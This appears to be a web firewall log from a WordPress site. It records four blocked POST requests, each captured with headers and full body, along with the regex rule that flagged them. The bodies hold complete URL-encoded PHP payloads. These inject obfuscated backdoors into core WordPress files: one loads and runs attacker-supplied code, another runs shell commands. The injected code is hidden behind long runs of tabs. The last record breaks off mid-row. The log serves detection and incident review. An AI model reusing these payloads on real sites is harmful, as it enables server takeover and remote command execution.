["2026-05-12 10:55:44","144.76.215.54","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Fx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEatvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:3807\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nFx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:55:48","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3830\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:55:51","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Nd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGzDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3807\n\nNd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:56:09","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ov:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%2520function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST 